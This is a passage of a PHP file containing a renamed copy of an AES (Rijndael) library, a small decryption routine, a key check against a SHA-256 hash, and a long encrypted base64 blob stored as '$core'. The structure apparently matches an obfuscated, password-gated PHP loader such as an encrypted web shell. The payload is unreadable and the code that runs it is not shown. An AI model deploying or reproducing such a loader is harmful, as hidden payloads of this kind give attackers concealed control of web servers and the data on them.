0x68, 0x98, 0x16, 0xD4, 0xA4, 0x5C, 0xCC, 0x5D, 0x65, 0xB6, 0x92, 0x6C, 0x70, 0x48, 0x50, \r\n0xFD, 0xED, 0xB9, 0xDA, 0x5E, 0x15, 0x46, 0x57, 0xA7, 0x8D, 0x9D, 0x84, 0x90, 0xD8, 0xAB, 0x00, 0x8C, 0xBC, 0xD3, 0x0A, 0xF7, 0xE4, 0x58, 0x05, 0xB8, 0xB3, 0x45, 0x06, \r\n0xD0, 0x2C, 0x1E, 0x8F, 0xCA, 0x3F, 0x0F, 0x02, 0xC1, 0xAF, 0xBD, 0x03, 0x01, 0x13, 0x8A, 0x6B, 0x3A, 0x91, 0x11, 0x41, 0x4F, 0x67, 0xDC, 0xEA, 0x97, 0xF2, 0xCF, 0xCE, \r\n0xF0, 0xB4, 0xE6, 0x73, 0x96, 0xAC, 0x74, 0x22, 0xE7, 0xAD, 0x35, 0x85, 0xE2, 0xF9, 0x37, 0xE8, 0x1C, 0x75, 0xDF, 0x6E, 0x47, 0xF1, 0x1A, 0x71, 0x1D, 0x29, 0xC5, 0x89, \r\n0x6F, 0xB7, 0x62, 0x0E, 0xAA, 0x18, 0xBE, 0x1B, 0xFC, 0x56, 0x3E, 0x4B, 0xC6, 0xD2, 0x79, 0x20, 0x9A, 0xDB, 0xC0, 0xFE, 0x78, 0xCD, 0x5A, 0xF4, 0x1F, 0xDD, 0xA8, 0x33, \r\n0x88, 0x07, 0xC7, 0x31, 0xB1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xEC, 0x5F, 0x60, 0x51, 0x7F, 0xA9, 0x19, 0xB5, 0x4A, 0x0D, 0x2D, 0xE5, 0x7A, 0x9F, 0x93, 0xC9, 0x9C, 0xEF, \r\n0xA0, 0xE0, 0x3B, 0x4D, 0xAE, 0x2A, 0xF5, 0xB0, 0xC8, 0xEB, 0xBB, 0x3C, 0x83, 0x53, 0x99, 0x61, 0x17, 0x2B, 0x04, 0x7E, 0xBA, 0x77, 0xD6, 0x26, 0xE1, 0x69, 0x14, 0x63, \r\n0x55, 0x21, 0x0C, 0x7D)); } return \$tables; } function _setupInlineCrypt() { \$lambda_functions =& self::_getLambdaFunctions(); \$gen_hi_opt_code = \r\n(bool)(count(\$lambda_functions) < 10); \$code_hash = \"Crypt_Rijndael, {\$this->mode}, {\$this->Nr}, {\$this->Nb}\"; if (\$gen_hi_opt_code) { \$code_hash = str_pad(\$code_hash, \r\n32) . \$this->_hashInlineCryptFunction(\$this->key); } if (!isset(\$lambda_functions[\$code_hash])) { switch (true) { case \$gen_hi_opt_code: \$w = \$this->w; \$dw = \$this->dw; \r\n\$init_encrypt = ''; \$init_decrypt = ''; break; default: for (\$i = 0, \$cw = count(\$this->w); \$i < \$cw; ++\$i) { \$w[] = '\$w[' . \$i . ']'; \$dw[] = '\$dw[' . \$i . ']'; } \r\n\$init_encrypt = '\$w = \$self->w;'; \$init_decrypt = '\$dw = \$self->dw;'; } \$Nr = \$this->Nr; \$Nb = \$this->Nb; \$c = \$this->c; \$init_encrypt.= ' static \$tables; if \r\n(empty(\$tables)) { \$tables = &\$self->_getTables(); } \$t0 = \$tables[0]; \$t1 = \$tables[1]; \$t2 = \$tables[2]; \$t3 = \$tables[3]; \$sbox = \$tables[4]; '; \$s = 'e'; \$e \r\n= 's'; \$wc = \$Nb - 1; \$encrypt_block = '\$in = unpack(\"N*\", \$in);'.\"\\n\"; for (\$i = 0; \$i < \$Nb; ++\$i) { \$encrypt_block .= '\$s'.\$i.' = \$in['.(\$i + 1).'] ^ \r\n'.\$w[++\$wc].\";\\n\"; } for (\$round = 1; \$round < \$Nr; ++\$round) { list(\$s, \$e) = array(\$e, \$s); for (\$i = 0; \$i < \$Nb; ++\$i) { \$encrypt_block.= '\$'.\$e.\$i.' = \$t0[(\$'.\$s.\$i \r\n.' >> 24) & 0xff] ^ \$t1[(\$'.\$s.((\$i + \$c[1]) % \$Nb).' >> 16) & 0xff] ^ \$t2[(\$'.\$s.((\$i + \$c[2]) % \$Nb).' >> 8) & 0xff] ^ \$t3[ \$'.\$s.((\$i + \$c[3]) % \$Nb).' & 0xff] \r\n^ '.\$w[++\$wc].\";\\n\"; } } for (\$i = 0; \$i < \$Nb; ++\$i) { \$encrypt_block.= '\$'.\$e.\$i.' = \$sbox[ \$'.\$e.\$i.' & 0xff] | (\$sbox[(\$'.\$e.\$i.' >> 8) & 0xff] << 8) \r\n| (\$sbox[(\$'.\$e.\$i.' >> 16) & 0xff] << 16) | (\$sbox[(\$'.\$e.\$i.' >> 24) & 0xff] << 24);'.\"\\n\"; } \$encrypt_block .= '\$in = pack(\"N*\"'.\"\\n\"; for (\$i = 0; \$i < \$Nb; ++\$i) { \r\n\$encrypt_block.= ', (\$'.\$e.\$i .' & '.((int)0xFF000000).') ^ (\$'.\$e.((\$i + \$c[1]) % \$Nb).' & 0x00FF0000 ) ^ (\$'.\$e.((\$i + \$c[2]) % \$Nb).' & \r\n0x0000FF00 ) ^ (\$'.\$e.((\$i + \$c[3]) % \$Nb).' & 0x000000FF ) ^ '.\$w[\$i].\"\\n\"; } \$encrypt_block .= ');'; \$init_decrypt.= ' static \$invtables; if \r\n(empty(\$invtables)) { \$invtables = &\$self->_getInvTables(); } \$dt0 = \$invtables[0]; \$dt1 = \$invtables[1]; \$dt2 = \$invtables[2]; \$dt3 = \$invtables[3]; \$isbox = \r\n\$invtables[4]; '; \$s = 'e'; \$e = 's'; \$wc = \$Nb - 1; \$decrypt_block = '\$in = unpack(\"N*\", \$in);'.\"\\n\"; for (\$i = 0; \$i < \$Nb; ++\$i) { \$decrypt_block .= '\$s'.\$i.' = \r\n\$in['.(\$i + 1).'] ^ '.\$dw[++\$wc].';'.\"\\n\"; } for (\$round = 1; \$round < \$Nr; ++\$round) { list(\$s, \$e) = array(\$e, \$s); for (\$i = 0; \$i < \$Nb; ++\$i) { \$decrypt_block.= \r\n'\$'.\$e.\$i.' = \$dt0[(\$'.\$s.\$i .' >> 24) & 0xff] ^ \$dt1[(\$'.\$s.((\$Nb + \$i - \$c[1]) % \$Nb).' >> 16) & 0xff] ^ \$dt2[(\$'.\$s.((\$Nb + \$i - \$c[2]) % \$Nb).' \r\n>> 8) & 0xff] ^ \$dt3[ \$'.\$s.((\$Nb + \$i - \$c[3]) % \$Nb).' & 0xff] ^ '.\$dw[++\$wc].\";\\n\"; } } for (\$i = 0; \$i < \$Nb; ++\$i) { \$decrypt_block.= '\$'.\$e.\$i.' = \$isbox[ \r\n\$'.\$e.\$i.' & 0xff] | (\$isbox[(\$'.\$e.\$i.' >> 8) & 0xff] << 8) | (\$isbox[(\$'.\$e.\$i.' >> 16) & 0xff] << 16) | (\$isbox[(\$'.\$e.\$i.' >> 24) & 0xff] << \r\n24);'.\"\\n\"; } \$decrypt_block .= '\$in = pack(\"N*\"'.\"\\n\"; for (\$i = 0; \$i < \$Nb; ++\$i) { \$decrypt_block.= ', (\$'.\$e.\$i. ' & '.((int)0xFF000000).') ^ \r\n(\$'.\$e.((\$Nb + \$i - \$c[1]) % \$Nb).' & 0x00FF0000 ) ^ (\$'.\$e.((\$Nb + \$i - \$c[2]) % \$Nb).' & 0x0000FF00 ) ^ (\$'.\$e.((\$Nb + \$i - \$c[3]) % \$Nb).' & \r\n0x000000FF ) ^ '.\$dw[\$i].\"\\n\"; } \$decrypt_block .= ');'; \$lambda_functions[\$code_hash] = \$this->_createInlineCryptFunction( array( 'init_crypt' => '', 'init_encrypt' \r\n=> \$init_encrypt, 'init_decrypt' => \$init_decrypt, 'encrypt_block' => \$encrypt_block, 'decrypt_block' => \$decrypt_block)); } \$this->inline_crypt = \r\n\$lambda_functions[\$code_hash]; } }\r\nfunction d(\$i, \$k, \$v){ \$r = new Rjn(Rjn::MODE_CBC); \$r->setPreferredEngine(Rjn::ENGINE_INTERNAL); \$r->setBlockLength(128); \$r->disablePadding(); \$r->setKey(\$k); \$r->setIv(\$v); return \$r->decrypt(\$i); }\r\nfunction h(\$i){return hash('sha256',\$i);}\r\nif(!\$k){ik();}if(!\$i){ua();}if(h(trim(d(base64_decode(C),\$k,V)))!==R){ik();}\r\n\$core='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